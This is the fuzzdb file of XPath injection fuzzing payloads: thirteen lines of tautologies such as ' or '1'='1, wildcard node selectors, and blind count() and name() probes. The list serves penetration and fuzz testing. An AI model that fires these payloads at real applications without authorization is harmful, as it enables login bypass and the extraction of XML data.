fuzzdb/attack/xpath/xpath-injection.fuzz.txt
2015-09-11 19:39:11 -04:00

13 lines
No EOL
209 B
Text

' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1